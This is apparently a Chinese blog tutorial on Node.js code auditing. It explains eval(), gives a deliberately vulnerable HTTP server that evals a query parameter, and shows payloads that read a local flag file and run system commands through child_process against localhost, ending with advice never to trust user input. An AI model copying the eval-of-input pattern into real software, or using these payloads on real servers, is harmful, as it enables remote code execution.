JavaScript eval() 函数介绍

eval() 函数

eval()函数是 JavaScript 中的一个函数,用于计算 JavaScript 字符串,并把它当成命令来执行。

如果传入 eval() 的参数是一个表达式,eval() 将会计算表达式的值。如果是一个字符串,该字符串会被当成 JavaScript 语句来执行。

语法

1
eval(string)

string:需要计算的字符串。需要为 JavaScript 表达式或者要执行的语句。

例如:

1
2
3
4
> eval("x = 10; y = 20; console.log(x + y)")
30
> eval(10 + 20)
30

漏洞代码

rce.js:

1
2
3
4
5
6
7
8
var http = require('http')
var url = require('url')

http.createServer(function (req, res) {
var params = url.parse(req.url, true).query
eval(params.input)
res.end('test')
}).listen(8888)

执行JavaScript命令

payload: ?input=console.log('hello')

运行rce.js,在浏览器中输入payload,可以看到控制台中输出了“hello”,说明我们的命令被成功执行了:

使用fs模块读取文件

rec.js目录下放置了一个flag.txt。

payload:?input=res.end(require('fs').readFileSync('./flag.txt').toString())

浏览器窗口中输出了flag.txt的内容:

使用child_process模块执行系统命令

payload:?input=require('child_process').exec('calc')

成功弹出了计算器:

payload:http://127.0.0.1:8888/?input=require('child_process').exec('mkdir test')

成功创建了一个名叫“test”的目录:

如何防范此漏洞

避免使用任何会执行用户输入的函数(比如这里提到的eval()),并对用户的输入做严格的控制。

简单来说就是永远不要信任用户的输入。

参考

http://ourjs.com/detail/547d60190dad0fbb6d00000b
http://ourjs.com/detail/5476946926a5b6cf62000004
https://www.jianshu.com/p/16f4a473940a

最后更新: 2019年06月24日 17:46

原始链接: qnkcdz0.xyz/2019/06/24/Node-js代码审计之eval远程命令执行漏洞/